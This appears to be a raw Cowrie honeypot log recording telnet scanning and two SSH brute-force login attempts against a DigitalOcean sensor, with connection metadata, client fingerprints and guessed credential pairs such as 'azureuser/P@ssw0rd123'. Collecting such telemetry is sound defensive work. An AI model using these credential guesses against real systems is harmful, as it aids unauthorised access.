{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":47868,"dst_ip":"10.17.0.5","dst_port":23,"session":"79aaa008586c","protocol":"telnet","message":"New connection: 159.203.13.64:47868 (10.17.0.5:23) [session: 79aaa008586c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:50.433311Z"}
{"eventid":"cowrie.session.closed","duration":38.9205961227417,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:51.844202Z","src_ip":"159.203.13.64","session":"b58e1adb806a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.797600507736206,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:51.997957Z","src_ip":"159.203.13.64","session":"9f1cc07e6373","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50974,"dst_ip":"159.203.135.109","dst_port":23,"session":"5927e5907bdb","protocol":"telnet","message":"New connection: 80.252.221.197:50974 (159.203.135.109:23) [session: 5927e5907bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:53.377888Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50984,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d662e01ab23","protocol":"telnet","message":"New connection: 80.252.221.197:50984 (159.203.135.109:23) [session: 1d662e01ab23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:53.744342Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50986,"dst_ip":"159.203.135.109","dst_port":23,"session":"340b5c8ec5f1","protocol":"telnet","message":"New connection: 80.252.221.197:50986 (159.203.135.109:23) [session: 340b5c8ec5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:54.121943Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":50994,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6d77614ce64","protocol":"telnet","message":"New connection: 80.252.221.197:50994 (159.203.135.109:23) [session: a6d77614ce64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:54.431141Z"}
{"eventid":"cowrie.session.closed","duration":37.27280306816101,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:55.482782Z","src_ip":"159.203.13.64","session":"2c8a92ad7704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54426,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf06b3f96923","protocol":"telnet","message":"New connection: 159.203.13.64:54426 (10.17.0.5:23) [session: cf06b3f96923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:55.559676Z"}
{"eventid":"cowrie.session.closed","duration":38.3821702003479,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:56.369429Z","src_ip":"159.203.13.64","session":"1024d0fb4057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.37493586540222,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:57.669174Z","src_ip":"159.203.13.64","session":"43ebe42ab320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.15805768966675,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:58.119499Z","src_ip":"80.252.221.197","session":"66278791154e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54442,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b57d7693abf","protocol":"telnet","message":"New connection: 159.203.13.64:54442 (10.17.0.5:23) [session: 5b57d7693abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:59.163136Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":53160,"dst_ip":"159.203.135.109","dst_port":23,"session":"92c685f8020a","protocol":"telnet","message":"New connection: 80.252.221.197:53160 (159.203.135.109:23) [session: 92c685f8020a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:46:59.228281Z"}
{"eventid":"cowrie.session.closed","duration":34.77923083305359,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:00.118599Z","src_ip":"80.252.221.197","session":"7c7450a6ce9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.95577001571655,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:00.691523Z","src_ip":"80.252.221.197","session":"178ff7e3188c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.61318826675415,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:01.254789Z","src_ip":"80.252.221.197","session":"3b8507a8c40d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.19154405593872,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:01.629798Z","src_ip":"80.252.221.197","session":"c82406e75dab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.78675961494446,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:01.747516Z","src_ip":"80.252.221.197","session":"1702630fa220","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60888,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5db44d0448f","protocol":"telnet","message":"New connection: 159.203.13.64:60888 (10.17.0.5:23) [session: e5db44d0448f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:03.044438Z"}
{"eventid":"cowrie.session.closed","duration":40.2297101020813,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:03.633947Z","src_ip":"159.203.13.64","session":"e7068e8e2d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42014193534851,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:04.095517Z","src_ip":"80.252.221.197","session":"f6b467773f13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60902,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5aa481bb6d5","protocol":"telnet","message":"New connection: 159.203.13.64:60902 (10.17.0.5:23) [session: c5aa481bb6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:04.205737Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60918,"dst_ip":"10.17.0.5","dst_port":23,"session":"f90e7fa4ecdc","protocol":"telnet","message":"New connection: 159.203.13.64:60918 (10.17.0.5:23) [session: f90e7fa4ecdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:06.449546Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60934,"dst_ip":"10.17.0.5","dst_port":23,"session":"efa078293284","protocol":"telnet","message":"New connection: 159.203.13.64:60934 (10.17.0.5:23) [session: efa078293284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:06.693718Z"}
{"eventid":"cowrie.session.closed","duration":38.26214671134949,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:06.759460Z","src_ip":"80.252.221.197","session":"16c60da11e9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3598518371582,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:08.432607Z","src_ip":"159.203.13.64","session":"cdcb79a1d40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":60948,"dst_ip":"10.17.0.5","dst_port":23,"session":"c72734c61c47","protocol":"telnet","message":"New connection: 159.203.13.64:60948 (10.17.0.5:23) [session: c72734c61c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:08.720933Z"}
{"eventid":"cowrie.session.closed","duration":43.557748556137085,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:09.213131Z","src_ip":"159.203.13.64","session":"bdaa9dedcee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.703988790512085,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:09.783526Z","src_ip":"159.203.13.64","session":"61271009e766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48764,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f804da05297","protocol":"telnet","message":"New connection: 159.203.13.64:48764 (10.17.0.5:23) [session: 0f804da05297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:11.150038Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48776,"dst_ip":"10.17.0.5","dst_port":23,"session":"46e6eea21bea","protocol":"telnet","message":"New connection: 159.203.13.64:48776 (10.17.0.5:23) [session: 46e6eea21bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:11.595934Z"}
{"eventid":"cowrie.session.closed","duration":36.60747265815735,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:11.893744Z","src_ip":"159.203.13.64","session":"2392476a1adc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.87151527404785,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:13.814570Z","src_ip":"159.203.13.64","session":"66a7d71c72cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48790,"dst_ip":"10.17.0.5","dst_port":23,"session":"562bcad50122","protocol":"telnet","message":"New connection: 159.203.13.64:48790 (10.17.0.5:23) [session: 562bcad50122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:15.378318Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":39310,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1452f5dc887","protocol":"telnet","message":"New connection: 80.252.221.197:39310 (159.203.135.109:23) [session: e1452f5dc887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:16.326975Z"}
{"eventid":"cowrie.session.closed","duration":36.98942685127258,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:16.952874Z","src_ip":"159.203.13.64","session":"53d16969d40b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48806,"dst_ip":"10.17.0.5","dst_port":23,"session":"76f6b851ee93","protocol":"telnet","message":"New connection: 159.203.13.64:48806 (10.17.0.5:23) [session: 76f6b851ee93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:17.263142Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48808,"dst_ip":"10.17.0.5","dst_port":23,"session":"85ab15aefd01","protocol":"telnet","message":"New connection: 159.203.13.64:48808 (10.17.0.5:23) [session: 85ab15aefd01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:17.812399Z"}
{"eventid":"cowrie.session.closed","duration":43.012699127197266,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:18.151649Z","src_ip":"159.203.13.64","session":"bde79831c8c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39542,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc3f62c9d641","protocol":"ssh","message":"New connection: 159.203.92.129:39542 (159.203.135.109:22) [session: bc3f62c9d641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:18.168585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:18.173179Z","src_ip":"159.203.92.129","session":"bc3f62c9d641","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:18.177221Z","src_ip":"159.203.92.129","session":"bc3f62c9d641","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aliyun","password":"aliyun","message":"login attempt [aliyun/aliyun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:18.187507Z","src_ip":"159.203.92.129","session":"bc3f62c9d641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:19.207542Z","src_ip":"159.203.92.129","session":"bc3f62c9d641","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.5165274143219,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:19.604067Z","src_ip":"159.203.13.64","session":"897679b370e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":47250,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6ae09cf84a0","protocol":"ssh","message":"New connection: 186.13.24.118:47250 (159.203.135.109:22) [session: c6ae09cf84a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:21.348801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:21.353830Z","src_ip":"186.13.24.118","session":"c6ae09cf84a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:21.511533Z","src_ip":"186.13.24.118","session":"c6ae09cf84a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"P@ssw0rd123","message":"login attempt [azureuser/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:22.180589Z","src_ip":"186.13.24.118","session":"c6ae09cf84a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:23.340083Z","src_ip":"186.13.24.118","session":"c6ae09cf84a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.72365069389343,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:23.619473Z","src_ip":"159.203.13.64","session":"39c93f53a0d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.90122127532959,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:23.753527Z","src_ip":"159.203.13.64","session":"772995172ec2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.34028148651123,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:27.838675Z","src_ip":"159.203.13.64","session":"c27d8f52ef77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76683831214905,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:28.144629Z","src_ip":"80.252.221.197","session":"5927e5907bdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.59660267829895,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:28.164077Z","src_ip":"159.203.13.64","session":"1c032f17f5e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.13828492164612,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:29.882504Z","src_ip":"80.252.221.197","session":"1d662e01ab23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.09361243247986,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:31.215444Z","src_ip":"80.252.221.197","session":"340b5c8ec5f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.81709671020508,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:31.247873Z","src_ip":"80.252.221.197","session":"a6d77614ce64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07749652862549,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:32.305647Z","src_ip":"80.252.221.197","session":"92c685f8020a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54498,"dst_ip":"10.17.0.5","dst_port":23,"session":"de2f016db8ec","protocol":"telnet","message":"New connection: 159.203.13.64:54498 (10.17.0.5:23) [session: de2f016db8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:32.781911Z"}
{"eventid":"cowrie.session.closed","duration":46.49181079864502,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:36.378072Z","src_ip":"159.203.13.64","session":"c21a9e0d82cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.446951389312744,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:36.382426Z","src_ip":"159.203.13.64","session":"ae9f3305a9bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54512,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba74bc3e6914","protocol":"telnet","message":"New connection: 159.203.13.64:54512 (10.17.0.5:23) [session: ba74bc3e6914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:36.917980Z"}
{"eventid":"cowrie.session.closed","duration":46.670027017593384,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:37.103211Z","src_ip":"159.203.13.64","session":"79aaa008586c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":54524,"dst_ip":"10.17.0.5","dst_port":23,"session":"d977ae4676cb","protocol":"telnet","message":"New connection: 159.203.13.64:54524 (10.17.0.5:23) [session: d977ae4676cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:40.660289Z"}
{"eventid":"cowrie.session.closed","duration":36.479164600372314,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:40.684766Z","src_ip":"159.203.13.64","session":"c5aa481bb6d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.56884717941284,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:40.731871Z","src_ip":"159.203.13.64","session":"5b57d7693abf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.93152570724487,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:41.380928Z","src_ip":"159.203.13.64","session":"f90e7fa4ecdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.93574666976929,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:43.495290Z","src_ip":"159.203.13.64","session":"cf06b3f96923","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43064,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9f57dbd1274","protocol":"telnet","message":"New connection: 159.203.13.64:43064 (10.17.0.5:23) [session: c9f57dbd1274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:43.942161Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":43080,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cb5bbf9f892","protocol":"telnet","message":"New connection: 159.203.13.64:43080 (10.17.0.5:23) [session: 8cb5bbf9f892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:47:44.122447Z"}
